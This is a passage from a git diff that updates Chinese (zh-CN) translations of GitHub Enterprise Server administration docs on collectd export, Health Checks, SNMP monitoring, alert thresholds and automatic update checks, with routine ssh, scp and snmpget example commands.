服务器的地址。 +1. 在“端口”字段中,输入用于连接到 `collectd` 服务器的端口。 (默认为 25826) +1. 在“加密设置”下拉菜单中,选择与 `collectd` 服务器通信的安全级别。 (无、签名数据包或加密数据包。){% data reusables.enterprise_management_console.save-settings %} -## Exporting collectd data with `ghe-export-graphs` +## 使用 `ghe-export-graphs` 导出 collectd 数据 -The command-line tool `ghe-export-graphs` will export the data that `collectd` stores in RRD databases. This command turns the data into XML and exports it into a single tarball (`.tgz`). +命令行工具 `ghe-export-graphs` 将导出 `collectd` 存储在 RRD 数据库中的数据。 此命令会将数据转换为 XML 格式并导出到一个 tarball (`.tgz`) 中。 -Its primary use is to provide the {% data variables.contact.contact_ent_support %} team with data about a VM's performance, without the need for downloading a full Support Bundle. It shouldn't be included in your regular backup exports and there is no import counterpart. If you contact {% data variables.contact.contact_ent_support %}, we may ask for this data to assist with troubleshooting. +此文件的主要用途是为 {% data variables.contact.contact_ent_support %} 团队提供关于 VM 性能的数据(无需下载整个支持包), 不应包含在常规备份导出范围中,也没有对应的导入文件。 如果您联系 {% data variables.contact.contact_ent_support %},我们可能会要求您提供此数据,以便协助故障排查。 -### Usage +### 使用情况 ```shell ssh -p 122 admin@[hostname] -- 'ghe-export-graphs' && scp -P 122 admin@[hostname]:~/graphs.tar.gz . ``` -## Troubleshooting +## 故障排除 -### Central collectd server receives no data +### 中央 collectd 服务器未收到数据 -{% data variables.product.prodname_enterprise %} ships with `collectd` version 5.x. `collectd` 5.x is not backwards compatible with the 4.x release series. Your central `collectd` server needs to be at least version 5.x to accept data sent from {% data variables.location.product_location %}. +{% data variables.product.prodname_enterprise %} 随附 `collectd` 版本 5.x。 `collectd` 5.x 不能后向兼容 4.x 发行版系列。 中央 `collectd` 服务器的版本至少需要是 5.x 才能接受从 {% data variables.product.product_location %} 发送的数据。 -For help with further questions or issues, contact {% data variables.contact.contact_ent_support %}. +要获取其他问题的帮助,请联系 {% data variables.contact.contact_ent_support %}。 diff --git a/translations/zh-CN/content/admin/enterprise-management/monitoring-your-appliance/generating-a-health-check-for-your-enterprise.md b/translations/zh-CN/content/admin/enterprise-management/monitoring-your-appliance/generating-a-health-check-for-your-enterprise.md index 436c8127ba..0bd266ad02 100644 --- a/translations/zh-CN/content/admin/enterprise-management/monitoring-your-appliance/generating-a-health-check-for-your-enterprise.md +++ b/translations/zh-CN/content/admin/enterprise-management/monitoring-your-appliance/generating-a-health-check-for-your-enterprise.md @@ -1,6 +1,6 @@ --- -title: Generating a Health Check for your enterprise -intro: 'You can gain insight into the general health and Git and API requests of {% data variables.location.product_location %} by generating a Health Check.' +title: 为企业生成运行状况检查 +intro: '可通过生成运行状况检查来深入了解 {% data variables.product.product_location %} 的一般运行状况与 Git 和 API 请求。' versions: ghes: '*' type: how_to @@ -11,48 +11,53 @@ topics: - Monitoring - Performance product: '{% data reusables.gated-features.generated-health-checks %}' +ms.openlocfilehash: f02fc61f050fc01a69f9fafe2dcdc95d91322dfa +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/05/2022 +ms.locfileid: '146460015' --- - {% note %} -**Note:** Generating a Health Check is currently in beta for {% data variables.product.prodname_ghe_server %} and subject to change. +**注意:** 为 {% data variables.product.prodname_ghe_server %} 生成运行状况检查目前处于测试阶段,可能会发生更改。 {% endnote %} -## About generated Health Checks +## 关于生成的运行状况检查 -You can create a support bundle for {% data variables.location.product_location %} that contains a lot of data, such as diagnostics and log files. To help analyze and interpret this data, you can generate a Health Check. For more information about support bundles, see "[Providing data to {% data variables.contact.github_support %}](/support/contacting-github-support/providing-data-to-github-support#creating-and-sharing-support-bundles)." +可以为包含大量数据(例如诊断和日志文件)的 {% data variables.product.product_location %} 创建支持捆绑包。 为了帮助分析和解释这些数据,可以生成运行状况检查。 有关支持捆绑包的详细信息,请参阅“[向 {% data variables.contact.github_support %} 提供数据](/support/contacting-github-support/providing-data-to-github-support#creating-and-sharing-support-bundles)”。 -A Health Check provides the following information about {% data variables.location.product_location %}. -- Insights into the general health of {% data variables.location.product_location %}, such as upgrade status, storage, and license seat consumption -- A security section, which focuses on subdomain isolation and user authentication -- Analysis of Git requests, with details about the busiest repositories and Git users -- Analysis of API requests, including the busiest times, most frequently requested endpoints, and most active callers +运行状况检查提供有关 {% data variables.product.product_location %} 的以下信息。 +- 针对 {% data variables.product.product_location %} 一般运行状况的见解,例如升级状态、存储和许可证席位消耗 +- 重点关注子域隔离和用户身份验证的安全部分 +- Git 请求分析,包括有关最繁忙的存储库和 Git 用户的详细信息 +- API 请求分析,包括最繁忙的时间、最频繁请求的终结点和最活跃的调用方 -If you want to generate a Health Check for {% data variables.product.prodname_ghe_cloud %}, contact {% data variables.contact.github_support %}. For more information, see "[Creating a support ticket](/support/contacting-github-support/creating-a-support-ticket)." +如果要为 {% data variables.product.prodname_ghe_cloud %} 生成运行状况检查,请联系 {% data variables.contact.github_support %}。 有关详细信息,请参阅“[创建支持工单](/support/contacting-github-support/creating-a-support-ticket)”。 -## Generating a Health Check +## 生成运行状况检查 -Before you can generate a Health Check, you must create a support bundle. For more information, see "[Providing data to {% data variables.contact.github_support %}](/support/contacting-github-support/providing-data-to-github-support#creating-and-sharing-support-bundles)." +在生成运行状况检查之前,你必须创建一个支持捆绑包。 有关详细信息,请参阅“[向 {% data variables.contact.github_support %} 提供数据](/support/contacting-github-support/providing-data-to-github-support#creating-and-sharing-support-bundles)”。 -1. Navigate to the [{% data variables.contact.support_portal %}](https://support.github.com/). -2. In the upper-right corner of the page, click **Premium**. +1. 导航到 [{% data variables.contact.support_portal %}](https://support.github.com/)。 +2. 在页面的右上角,单击“高级”。 - ![Screenshot of the "Premium" link in the GitHub Support Portal header.](/assets/images/enterprise/support/support-portal-header-premium.png) + ![GitHub 支持门户标题中“高级”链接的屏幕截图。](/assets/images/enterprise/support/support-portal-header-premium.png) -3. To the right of **Health Checks**, click **Request Health Check**. +3. 在“运行状况检查”的右侧,单击“请求运行状况检查” 。 - ![Screenshot of the "Request Health Check" button.](/assets/images/enterprise/support/support-portal-request-health-check.png) + ![“请求运行状况检查”按钮的屏幕截图。](/assets/images/enterprise/support/support-portal-request-health-check.png) -4. Under "Select an enterprise account", select the dropdown menu and click an enterprise account. +4. 在“选择企业帐户”下,选择下拉菜单并单击企业帐户。 - ![Screenshot of the "enterprise account" dropdown menu.](/assets/images/enterprise/support/health-check-dialog-ea.png) + ![“企业帐户”下拉菜单的屏幕截图。](/assets/images/enterprise/support/health-check-dialog-ea.png) -5. Under "Upload a support bundle", click **Chose File** and choose a file to upload. Then, click **Request Health Check**. +5. 在“上传支持捆绑包”下,单击“选择文件”并选择要上传的文件。 然后,单击“请求运行状况检查”。 - ![Screenshot of the "Choose file" and "Request Health Check" buttons.](/assets/images/enterprise/support/health-check-dialog-choose-file.png) + ![“选择文件”和“请求运行状况检查”按钮的屏幕截图。](/assets/images/enterprise/support/health-check-dialog-choose-file.png) -After you request a Health Check, a job is scheduled to generate the Health Check. After several hours to one day, the generated Health Check will appear in the "Health Checks" section of the {% data variables.contact.support_portal %}. +请求运行状况检查后,系统会计划一个作业来生成运行状况检查。 数小时到一天后,生成的运行状况检查将显示在 {% data variables.contact.support_portal %} 的“运行状况检查”部分中。 -![Screenshot of the Health Checks section of the {% data variables.contact.support_portal %}.](/assets/images/enterprise/support/support-portal-health-checks-section.png) +![{% data variables.contact.support_portal %} 的“运行状况检查”部分的屏幕截图。](/assets/images/enterprise/support/support-portal-health-checks-section.png) diff --git a/translations/zh-CN/content/admin/enterprise-management/monitoring-your-appliance/index.md b/translations/zh-CN/content/admin/enterprise-management/monitoring-your-appliance/index.md index fb441b33e9..4f3a215c3e 100644 --- a/translations/zh-CN/content/admin/enterprise-management/monitoring-your-appliance/index.md +++ b/translations/zh-CN/content/admin/enterprise-management/monitoring-your-appliance/index.md @@ -1,6 +1,6 @@ --- -title: Monitoring your appliance -intro: 'As use of {% data variables.location.product_location %} increases over time, the utilization of system resources, like CPU, memory, and storage will also increase. You can configure monitoring and alerting so that you''re aware of potential issues before they become critical enough to negatively impact application performance or availability.' +title: 监控设备 +intro: '随着 {% data variables.product.product_location %} 使用量的逐渐增加,系统资源(例如 CPU、内存和存储空间)的利用率也会提高。 您可以配置监视和警报来提示潜在问题,以免这些问题对应用程序性能或可用性造成严重的负面影响。' redirect_from: - /enterprise/admin/guides/installation/system-resource-monitoring-and-alerting - /enterprise/admin/guides/installation/monitoring-your-github-enterprise-appliance @@ -18,5 +18,11 @@ children: - /monitoring-using-snmp - /about-system-logs - /generating-a-health-check-for-your-enterprise +ms.openlocfilehash: 3232d21371c2ad18ff8a4ebc8dcf7ea603d152ac +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/10/2022 +ms.locfileid: '145099083' --- diff --git a/translations/zh-CN/content/admin/enterprise-management/monitoring-your-appliance/monitoring-using-snmp.md b/translations/zh-CN/content/admin/enterprise-management/monitoring-your-appliance/monitoring-using-snmp.md index 9c3f478189..9fc93e3691 100644 --- a/translations/zh-CN/content/admin/enterprise-management/monitoring-your-appliance/monitoring-using-snmp.md +++ b/translations/zh-CN/content/admin/enterprise-management/monitoring-your-appliance/monitoring-using-snmp.md @@ -1,6 +1,6 @@ --- -title: Monitoring using SNMP -intro: '{% data variables.product.prodname_enterprise %} provides data on disk usage, CPU utilization, memory usage, and more over SNMP.' +title: 使用 SNMP 进行监视 +intro: '{% data variables.product.prodname_enterprise %} 通过 SNMP 提供关于磁盘使用情况、CPU 利用率和内存使用情况等方面的数据。' redirect_from: - /enterprise/admin/installation/monitoring-using-snmp - /enterprise/admin/articles/monitoring-using-snmp @@ -14,108 +14,104 @@ topics: - Infrastructure - Monitoring - Performance +ms.openlocfilehash: 0f156d2939cbc83e3b0a72bbc1cbaf72f0c886d7 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/05/2022 +ms.locfileid: '145179150' --- -SNMP is a common standard for monitoring devices over a network. We strongly recommend enabling SNMP so you can monitor the health of {% data variables.location.product_location %} and know when to add more memory, storage, or processor power to the host machine. +SNMP 是一种用于通过网络监视设备的公共标准。 强烈建议启用 SNMP,以便监视 {% data variables.product.product_location %} 的运行状况,并了解何时向主机增加更多内存、存储空间或处理器能力。 -{% data variables.product.prodname_enterprise %} has a standard SNMP installation, so you can take advantage of the [many plugins](https://www.monitoring-plugins.org/doc/man/check_snmp.html) available for Nagios or for any other monitoring system. +{% data variables.product.prodname_enterprise %} 具有标准 SNMP 安装,因此你可以利用可用于 Nagios 或任何其他监视系统的[多种插件](https://www.monitoring-plugins.org/doc/man/check_snmp.html)。 -## Configuring SNMP v2c +## 配置 SNMP v2c -{% data reusables.enterprise_site_admin_settings.access-settings %} -{% data reusables.enterprise_site_admin_settings.management-console %} -{% data reusables.enterprise_management_console.access-monitoring %} -{% data reusables.enterprise_management_console.enable-snmp %} -4. In the **Community string** field, enter a new community string. If left blank, this defaults to `public`. -![Field to add the community string](/assets/images/enterprise/management-console/community-string.png) -{% data reusables.enterprise_management_console.save-settings %} -5. Test your SNMP configuration by running the following command on a separate workstation with SNMP support in your network: +{% data reusables.enterprise_site_admin_settings.access-settings %} {% data reusables.enterprise_site_admin_settings.management-console %} {% data reusables.enterprise_management_console.access-monitoring %} {% data reusables.enterprise_management_console.enable-snmp %} +4. 在“社区字符串”字段中,输入新的社区字符串。 如果留空,则默认为 `public`。 +![用于添加社区字符串的字段](/assets/images/enterprise/management-console/community-string.png) {% data reusables.enterprise_management_console.save-settings %} +5. 要测试 SNMP 配置,请在网络中支持 SNMP 的单独工作站上运行以下命令: ```shell # community-string is your community string # hostname is the IP or domain of your Enterprise instance - $ snmpget -v 2c -c COMMUNITY-STRING -O e HOSTNAME hrSystemDate.0 + $ snmpget -v 2c -c community-string -O e hostname hrSystemDate.0 ``` -This should return the system time on {% data variables.location.product_location %} host. +这应该返回 {% data variables.product.product_location %} 主机上的系统时间。 -## User-based security +## 基于用户的安全性 -If you enable SNMP v3, you can take advantage of increased user based security through the User Security Model (USM). For each unique user, you can specify a security level: -- `noAuthNoPriv`: This security level provides no authentication and no privacy. -- `authNoPriv`: This security level provides authentication but no privacy. To query the appliance you'll need a username and password (that must be at least eight characters long). Information is sent without encryption, similar to SNMPv2. The authentication protocol can be either MD5 or SHA and defaults to SHA. -- `authPriv`: This security level provides authentication with privacy. Authentication, including a minimum eight-character authentication password, is required and responses are encrypted. A privacy password is not required, but if provided it must be at least eight characters long. If a privacy password isn't provided, the authentication password is used. The privacy protocol can be either DES or AES and defaults to AES. +如果您启用 SNMP v3,则可以通过用户安全模型 (USM) 充分利用提升的基于用户的安全性。 对于每个唯一的用户,您可以指定一个安全等级: +- `noAuthNoPriv`:此安全等级不提供任何身份验证和隐私保护。 +- `authNoPriv`:此安全级别提供身份验证,但不提供隐私保护。 要查询设备,您需要用户名和密码(长度必须至少为八个字符)。 与 SNMPv2 相似,发送的信息不会进行加密。 身份验证协议可以是 MD5 或 SHA,默认为 SHA。 +- `authPriv`:此安全级别提供身份验证和隐私保护。 要求进行身份验证(包含一个长度至少为八个字符的身份验证密码),并且会对响应进行加密。 不需要隐私密码,但如果提供隐私密码,其长度必须至少为八个字符。 如果不提供隐私密码,将使用身份验证密码。 隐私协议可以是 DES 或 AES,默认为 AES。 -## Configuring users for SNMP v3 +## 配置 SNMP v3 的用户 -{% data reusables.enterprise_site_admin_settings.access-settings %} -{% data reusables.enterprise_site_admin_settings.management-console %} -{% data reusables.enterprise_management_console.access-monitoring %} -{% data reusables.enterprise_management_console.enable-snmp %} -4. Select **SNMP v3**. -![Button to enable SNMP v3](/assets/images/enterprise/management-console/enable-snmpv3.png) -5. In "Username", type the unique username of your SNMP v3 user. -![Field to type the SNMP v3 username](/assets/images/enterprise/management-console/snmpv3-username.png) -6. In the **Security Level** dropdown menu, click the security level for your SNMP v3 user. -![Dropdown menu for the SNMP v3 user's security level](/assets/images/enterprise/management-console/snmpv3-securitylevel.png) -7. For SNMP v3 users with the `authnopriv` security level: - ![Settings for the authnopriv security level](/assets/images/enterprise/management-console/snmpv3-authnopriv.png) +{% data reusables.enterprise_site_admin_settings.access-settings %} {% data reusables.enterprise_site_admin_settings.management-console %} {% data reusables.enterprise_management_console.access-monitoring %} {% data reusables.enterprise_management_console.enable-snmp %} +4. 选择“SNMP v3”。 +![用于启用 SNMP v3 的按钮](/assets/images/enterprise/management-console/enable-snmpv3.png) +5. 在“Username(用户名)”中,输入 SNMP v3 用户的唯一用户名。 +![用于键入 SNMP v3 用户名的字段](/assets/images/enterprise/management-console/snmpv3-username.png) +6. 在“安全级别”下拉菜单中,单击你的 SNMP v3 用户的安全级别。 +![SNMP v3 用户安全级别的下拉菜单](/assets/images/enterprise/management-console/snmpv3-securitylevel.png) +7. 对于具有 `authnopriv` 安全级别的 SNMP v3 用户:![authnopriv 安全级别的设置](/assets/images/enterprise/management-console/snmpv3-authnopriv.png) - {% data reusables.enterprise_management_console.authentication-password %} - {% data reusables.enterprise_management_console.authentication-protocol %} -8. For SNMP v3 users with the `authpriv` security level: - ![Settings for the authpriv security level](/assets/images/enterprise/management-console/snmpv3-authpriv.png) +8. 对于具有 `authpriv` 安全级别的 SNMP v3 用户:![authpriv 安全级别的设置](/assets/images/enterprise/management-console/snmpv3-authpriv.png) - {% data reusables.enterprise_management_console.authentication-password %} - {% data reusables.enterprise_management_console.authentication-protocol %} - - Optionally, in "Privacy password", type the privacy password. - - On the right side of "Privacy password", in the **Protocol** dropdown menu, click the privacy protocol method you want to use. -9. Click **Add user**. -![Button to add SNMP v3 user](/assets/images/enterprise/management-console/snmpv3-adduser.png) -{% data reusables.enterprise_management_console.save-settings %} + - (可选)在“Privacy password(隐私密码)”中输入隐私保护密码。 + - 在“隐私密码”右侧的“协议”下拉菜单中,单击你要使用的隐私协议方法。 +9. 单击“添加用户” 。 +![用于添加 SNMP v3 用户的按钮](/assets/images/enterprise/management-console/snmpv3-adduser.png) {% data reusables.enterprise_management_console.save-settings %} -#### Querying SNMP data +#### 查询 SNMP 数据 -Both hardware and software-level information about your appliance is available with SNMP v3. Due to the lack of encryption and privacy for the `noAuthNoPriv` and `authNoPriv` security levels, we exclude the `hrSWRun` table (1.3.6.1.2.1.25.4) from the resulting SNMP reports. We include this table if you're using the `authPriv` security level. For more information, see the "[OID reference documentation](https://oidref.com/1.3.6.1.2.1.25.4)." +关于您的设备的硬件和软件级信息都适用于 SNMP v3。 由于 `noAuthNoPriv` 和 `authNoPriv` 安全级别缺少加密和隐私,我们会将 `hrSWRun` 表 (1.3.6.1.2.1.25.4) 从生成的 SNMP 报告中排除。 如果你使用 `authPriv` 安全级别,则会包含此表。 有关详细信息,请参阅“[OID 参考文档](https://oidref.com/1.3.6.1.2.1.25.4)”。 -With SNMP v2c, only hardware-level information about your appliance is available. The applications and services within {% data variables.product.prodname_enterprise %} do not have OIDs configured to report metrics. Several MIBs are available, which you can see by running `snmpwalk` on a separate workstation with SNMP support in your network: +如果使用 SNMP v2c,则仅会提供关于您的设备的硬件级信息。 {% data variables.product.prodname_enterprise %} 中的应用程序和服务未配置 OID 来报告指标。 有多个 MIB 可用,可以通过在网络中支持 SNMP 的单独工作站上运行 `snmpwalk` 来查看它们: ```shell # community-string is your community string # hostname is the IP or domain of your Enterprise instance -$ snmpwalk -v 2c -c COMMUNITY-STRING -O e HOSTNAME +$ snmpwalk -v 2c -c community-string -O e hostname ``` -Of the available MIBs for SNMP, the most useful is `HOST-RESOURCES-MIB` (1.3.6.1.2.1.25). See the table below for some important objects in this MIB: +在 SNMP 的可用 MIB 中,最有用的是 `HOST-RESOURCES-MIB` (1.3.6.1.2.1.25)。 请参见下表,了解此 MIB 中的一些重要对象: -| Name | OID | Description | +| 名称 | OID | 说明 | | ---- | --- | ----------- | -| hrSystemDate.2 | 1.3.6.1.2.1.25.1.2 | The hosts notion of the local date and time of day. | -| hrSystemUptime.0 | 1.3.6.1.2.1.25.1.1.0 | How long it's been since the host was last initialized. | -| hrMemorySize.0 | 1.3.6.1.2.1.25.2.2.0 | The amount of RAM on the host. | -| hrSystemProcesses.0 | 1.3.6.1.2.1.25.1.6.0 | The number of process contexts currently loaded or running on the host. | -| hrStorageUsed.1 | 1.3.6.1.2.1.25.2.3.1.6.1 | The amount of storage space consumed on the host, in hrStorageAllocationUnits. | -| hrStorageAllocationUnits.1 | 1.3.6.1.2.1.25.2.3.1.4.1 | The size, in bytes, of an hrStorageAllocationUnit | +| hrSystemDate.2 | 1.3.6.1.2.1.25.1.2 | 本地日期和时间的主机标记。 | +| hrSystemUptime.0 | 1.3.6.1.2.1.25.1.1.0 | 自主机上次初始化以来的时间。 | +| hrMemorySize.0 | 1.3.6.1.2.1.25.2.2.0 | 主机上 RAM 的大小。 | +| hrSystemProcesses.0 | 1.3.6.1.2.1.25.1.6.0 | 主机上当前加载或运行的进程上下文数。 | +| hrStorageUsed.1 | 1.3.6.1.2.1.25.2.3.1.6.1 | 主机上已占用的存储空间大小(单位为 hrStorageAllocationUnits)。 | +| hrStorageAllocationUnits.1 | 1.3.6.1.2.1.25.2.3.1.4.1 | hrStorageAllocationUnit 的大小(单位为字节) | -For example, to query for `hrMemorySize` with SNMP v3, run the following command on a separate workstation with SNMP support in your network: +例如,若要使用 SNMP v3 查询 `hrMemorySize`,请在网络中支持 SNMP 的单独工作站上运行以下命令: ```shell # username is the unique username of your SNMP v3 user # auth password is the authentication password # privacy password is the privacy password # hostname is the IP or domain of your Enterprise instance -$ snmpget -v 3 -u USERNAME -l authPriv \ - -A "AUTH PASSWORD" -a SHA \ - -X "PRIVACY PASSWORD" -x AES \ - -O e HOSTNAME HOST-RESOURCES-MIB::hrMemorySize.0 +$ snmpget -v 3 -u username -l authPriv \ + -A "auth password" -a SHA \ + -X "privacy password" -x AES \ + -O e hostname HOST-RESOURCES-MIB::hrMemorySize.0 ``` -With SNMP v2c, to query for `hrMemorySize`, run the following command on a separate workstation with SNMP support in your network: +若要使用 SNMP v2c 查询 `hrMemorySize`,请在网络中支持 SNMP 的单独工作站上运行以下命令: ```shell # community-string is your community string # hostname is the IP or domain of your Enterprise instance -snmpget -v 2c -c COMMUNITY-STRING HOSTNAME HOST-RESOURCES-MIB::hrMemorySize.0 +snmpget -v 2c -c community-string hostname HOST-RESOURCES-MIB::hrMemorySize.0 ``` {% tip %} -**Note:** To prevent leaking information about services running on your appliance, we exclude the `hrSWRun` table (1.3.6.1.2.1.25.4) from the resulting SNMP reports unless you're using the `authPriv` security level with SNMP v3. If you're using the `authPriv` security level, we include the `hrSWRun` table. +**注意:** 为防止泄露有关设备上运行的服务的信息,我们会将 `hrSWRun` 表 (1.3.6.1.2.1.25.4) 从生成的 SNMP 报告中排除,除非你对 SNMP v3 使用 `authPriv` 安全级别。 如果你使用 `authPriv` 安全级别,则会包含 `hrSWRun` 表。 {% endtip %} -For more information on OID mappings for common system attributes in SNMP, see "[Linux SNMP OID’s for CPU, Memory and Disk Statistics](http://www.linux-admins.net/2012/02/linux-snmp-oids-for-cpumemory-and-disk.html)". +有关 SNMP 中常见系统属性的 OID 映射的详细信息,请参阅“[用于 CPU、内存和磁盘统计信息的 Linux SNMP OID](http://www.linux-admins.net/2012/02/linux-snmp-oids-for-cpumemory-and-disk.html)”。 diff --git a/translations/zh-CN/content/admin/enterprise-management/monitoring-your-appliance/recommended-alert-thresholds.md b/translations/zh-CN/content/admin/enterprise-management/monitoring-your-appliance/recommended-alert-thresholds.md index 48672a0695..161635d4b9 100644 --- a/translations/zh-CN/content/admin/enterprise-management/monitoring-your-appliance/recommended-alert-thresholds.md +++ b/translations/zh-CN/content/admin/enterprise-management/monitoring-your-appliance/recommended-alert-thresholds.md @@ -1,6 +1,6 @@ --- -title: Recommended alert thresholds -intro: 'You can configure an alert to notify you of system resource issues before they affect your {% data variables.product.prodname_ghe_server %} appliance''s performance.' +title: 建议的警报阈值 +intro: '您可以配置警报来提前通知系统资源问题,以免它们影响您的 {% data variables.product.prodname_ghe_server %} 设备的性能。' redirect_from: - /enterprise/admin/guides/installation/about-recommended-alert-thresholds - /enterprise/admin/installation/about-recommended-alert-thresholds @@ -17,36 +17,42 @@ topics: - Performance - Storage shortTitle: Recommended alert thresholds +ms.openlocfilehash: 73adc62a8a322666e08da01a76568c16ed18458c +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/05/2022 +ms.locfileid: '145098076' --- -## Monitoring storage +## 监视存储 -We recommend that you monitor both the root and user storage devices and configure an alert with values that allow for ample response time when available disk space is low. +建议您同时对根存储设备和用户存储设备进行监视,并为警报配置合适的值,在可用磁盘空间不足时提供足够长的响应时间。 -| Severity | Threshold | +| 严重性 | 阈值 | | -------- | --------- | -| **Warning** | Disk use exceeds 70% of total available | -| **Critical** | Disk use exceeds 85% of total available | +| **警告** | 已用磁盘空间超出总大小的 70% | +| **严重** | 已用磁盘空间超出总大小的 85% | -You can adjust these values based on the total amount of storage allocated, historical growth patterns, and expected time to respond. We recommend over-allocating storage resources to allow for growth and prevent the downtime required to allocate additional storage. +您可以根据分配的总存储空间、历史增长模式和预期响应时间调整这些值。 我们建议多分配一些存储资源,以便考虑增长情况并避免因分配额外存储空间而需要停机。 -## Monitoring CPU and load average usage +## 监视 CPU 和平均负载使用情况 -Although it is normal for CPU usage to fluctuate based on resource-intense Git operations, we recommend configuring an alert for abnormally high CPU utilization, as prolonged spikes can mean your instance is under-provisioned. We recommend monitoring the fifteen-minute system load average for values nearing or exceeding the number of CPU cores allocated to the virtual machine. +虽然 CPU 利用率随资源密集型 Git 操作上下波动属于正常情况,但我们建议配置警报来监视异常增高的 CPU 利用率,因为 CPU 利用率长时间处于高水平可能说明实例配置不足。 建议监视 15 分钟系统平均负载,以获取接近或超过分配给虚拟机的 CPU 核心数的值。 -| Severity | Threshold | +| 严重性 | 阈值 | | -------- | --------- | -| **Warning** | Fifteen minute load average exceeds 1x CPU cores | -| **Critical** | Fifteen minute load average exceeds 2x CPU cores | +| **警告** | 十五分钟平均负载超出 1 倍的 CPU 核心 | +| **严重** | 十五分钟平均负载超出 2 倍的 CPU 核心 | -We also recommend that you monitor virtualization "steal" time to ensure that other virtual machines running on the same host system are not using all of the instance's resources. +我们还建议监视虚拟化“盗取”时间,以确保在同一主机系统上运行的虚拟机不会用掉所有实例资源。 -## Monitoring memory usage +## 监视内存使用量 -The amount of physical memory allocated to {% data variables.location.product_location %} can have a large impact on overall performance and application responsiveness. The system is designed to make heavy use of the kernel disk cache to speed up Git operations. We recommend that the normal RSS working set fit within 50% of total available RAM at peak usage. +分配给 {% data variables.product.product_location %} 的物理内存大小对整体性能和应用程序响应能力有着极大的影响。 系统设计为通过大量使用内核磁盘缓存来加快 Git 操作速度。 建议将正常 RSS 工作使用量设置在最高使用量时总可用 RAM 的 50% 之内。 -| Severity | Threshold | +| 严重性 | 阈值 | | -------- | --------- | -| **Warning** | Sustained RSS usage exceeds 50% of total available memory | -| **Critical** | Sustained RSS usage exceeds 70% of total available memory | +| **警告** | 持续 RSS 使用量超出总可用内存大小的 50% | +| **严重** | 持续 RSS 使用量超出总可用内存大小的 70% | -If memory is exhausted, the kernel OOM killer will attempt to free memory resources by forcibly killing RAM heavy application processes, which could result in a disruption of service. We recommend allocating more memory to the virtual machine than is required in the normal course of operations. +如果内存已耗尽,内核 OOM 终止程序将尝试终止占用 RAM 较多的应用程序进程以释放内存资源,这样可能导致服务中断。 建议为虚拟机分配的内存大小应大于正常操作过程所需的内存。 diff --git a/translations/zh-CN/content/admin/enterprise-management/updating-the-virtual-machine-and-physical-resources/enabling-automatic-update-checks.md b/translations/zh-CN/content/admin/enterprise-management/updating-the-virtual-machine-and-physical-resources/enabling-automatic-update-checks.md index 645c354107..4d7d430a1b 100644 --- a/translations/zh-CN/content/admin/enterprise-management/updating-the-virtual-machine-and-physical-resources/enabling-automatic-update-checks.md +++ b/translations/zh-CN/content/admin/enterprise-management/updating-the-virtual-machine-and-physical-resources/enabling-automatic-update-checks.md @@ -1,6 +1,6 @@ --- -title: Enabling automatic update checks -intro: 'You can enable automatic update checks so that {% data variables.location.product_location %} checks for and downloads the latest {% data variables.product.prodname_ghe_server %} release.' +title: 启用自动更新检查 +intro: '你可以启用自动更新检查,使 {% data variables.product.product_location %} 检查和下载最新的 {% data variables.product.prodname_ghe_server %} 版本。' redirect_from: - /enterprise/admin/installation/enabling-automatic-update-checks - /enterprise/admin/enterprise-management/enabling-automatic-update-checks @@ -12,28 +12,31 @@ topics: - Enterprise - Upgrades shortTitle: Enable automatic update checks +ms.openlocfilehash: c566dc54958cc7d4f26a9279ea3bf8a76aafa636 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/05/2022 +ms.locfileid: '146331886' --- -When an upgrade package is automatically downloaded for {% data variables.location.product_location %}, you'll receive a message letting you know you can upgrade {% data variables.product.prodname_ghe_server %}. Packages download to the `/var/lib/ghe-updates` directory on {% data variables.location.product_location %}. For more information, see "[Upgrading {% data variables.product.prodname_ghe_server %}](/enterprise/admin/guides/installation/upgrading-github-enterprise-server)." +在 {% data variables.product.product_location %} 的升级包自动下载后,你会收到一条消息,通知你可以升级 {% data variables.product.prodname_ghe_server %}。 包会下载到 {% data variables.product.product_location %} 上的 `/var/lib/ghe-updates` 目录中。 有关详细信息,请参阅“[升级 {% data variables.product.prodname_ghe_server %}](/enterprise/admin/guides/installation/upgrading-github-enterprise-server)”。 -If a hotpatch is available for an upgrade, the `.hpkg` will download automatically. In the management console you can choose to install the hotpatch immediately or schedule installation for a later time. For more information, see "[Upgrading with a hotpatch](/enterprise/admin/guides/installation/upgrading-github-enterprise-server#upgrading-with-a-hotpatch)." +如果升级有可用的热补丁,将自动下载 `.hpkg`。 在 Management Console 中,您可以选择立即安装热补丁或排定稍后安装。 有关详细信息,请参阅“[使用热补丁进行升级](/enterprise/admin/guides/installation/upgrading-github-enterprise-server#upgrading-with-a-hotpatch)”。 {% tip %} -**Tip:** To enable automatic update checks, {% data variables.location.product_location %} must be able to connect to `https://github-enterprise.s3.amazonaws.com`. +提示:若要启用自动更新检查,{% data variables.product.product_location %} 必须能够连接到 `https://github-enterprise.s3.amazonaws.com`。 {% endtip %} -{% data reusables.enterprise_site_admin_settings.access-settings %} -{% data reusables.enterprise_site_admin_settings.management-console %} -{% data reusables.enterprise_management_console.updates-tab %} -4. Click **Yes, automatically check for updates**. -![Button for enabling automatic updates](/assets/images/enterprise/management-console/enable_updates_button.png) -{% data reusables.enterprise_management_console.save-settings %} +{% data reusables.enterprise_site_admin_settings.access-settings %} {% data reusables.enterprise_site_admin_settings.management-console %} {% data reusables.enterprise_management_console.updates-tab %} +4. 单击“是,自动检查更新”。 +![用于启用自动更新的按钮](/assets/images/enterprise/management-console/enable_updates_button.png){% data reusables.enterprise_management_console.save-settings %} -To see if your instance is up-to-date, check the banner on the Updates tab. +要查看您的实例是否处于最新状态,请检查 Updates 选项卡上的横幅。 -![Banner indicating your release of GitHub Enterprise Server](/assets/images/enterprise/management-console/up-to-date-banner.png) +![指示您的 GitHub Enterprise Server 版本的横幅](/assets/images/enterprise/management-console/up-to-date-banner.png) -Under **Logs**, you can see the status of the most recent update check. +在“日志”下,可看到最近的更新检查的状态。 -![Logs for 